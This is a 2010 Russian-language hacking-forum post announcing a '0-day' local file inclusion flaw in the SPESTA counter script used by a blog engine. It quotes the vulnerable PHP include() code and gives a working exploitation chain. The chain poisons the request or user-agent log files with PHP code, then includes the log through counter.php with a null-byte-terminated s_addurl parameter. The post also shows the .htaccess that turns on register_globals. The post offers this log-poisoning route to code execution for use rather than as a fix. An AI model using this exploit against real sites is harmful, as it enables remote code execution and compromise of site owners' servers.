
07.06.2010, 23:25
|
|
Познающий
Регистрация: 21.02.2009
Сообщений: 54
Провел на форуме: 1224548
Репутация:
134
|
|
E2 SELECTA
Site: http://blogengine.ru/
Local File Include(0-day ):
./spesta/counter.php
Уязвимый код:
PHP код:
...
if (!isset ($s_addurl))
{
$z=dirname(__FILE__);
$z2=$_SERVER['DOCUMENT_ROOT'].dirname ($_SERVER['PHP_SELF']);
$s_addurl=substr ($z, strpos ($z, $z2)+strlen($z2));
if ($s_addurl!="") $s_addurl.="/";
}
else [COLOR=DarkRed]$s_addurl=str_replace (":","", $s_addurl);[/COLOR]
include ($s_addurl."func.php");
...
Exploit:
Как видно из нашей переменной вырезается двоеточие, поэтому теоретически имеем только локальный инклуд, однако нам на руку то, что движок ведёт своеобразный журнал по адресу ./spesta/data/, в частности в файл requests.php записывается запрошенный URL, и ничто не мешает указать в нём например <?php phpinfo();?>, поэтому сначала обращаемся к какой-нибудь страницe добавив к URL-адресу наш php-код, а затем инклудим вот так:
Код:
./spesta/counter.php?s_addurl=data/request.txt%00
Также можно внести код в agents.txt(логируются юзерагенты).
Примечание:
для этой уязвимости не играет роли значение register_globals, так как в .htacess эта настройка взводится, однако на всякий случай я решил уведомить об этом.
Содержимое .htacess:
Код:
RewriteEngine Off
DirectoryIndex index.php
Options -Indexes -MultiViews
ErrorDocument 403 /stat/deny.php
<IfModule mod_php4.c>
php_flag display_errors off
php_flag register_globals on
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag magic_quotes_sybase off
php_flag zlib.output_compression on
php_value output_buffering 0
php_value session.use_trans_sid 0
</IfModule>
<IfModule mod_php5.c>
php_flag display_errors off
php_flag register_globals on
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag magic_quotes_sybase off
php_flag zlib.output_compression on
php_value output_buffering 0
php_value session.use_trans_sid 0
</IfModule>
Последний раз редактировалось _iks_; 13.06.2010 в 11:27..
|
|
|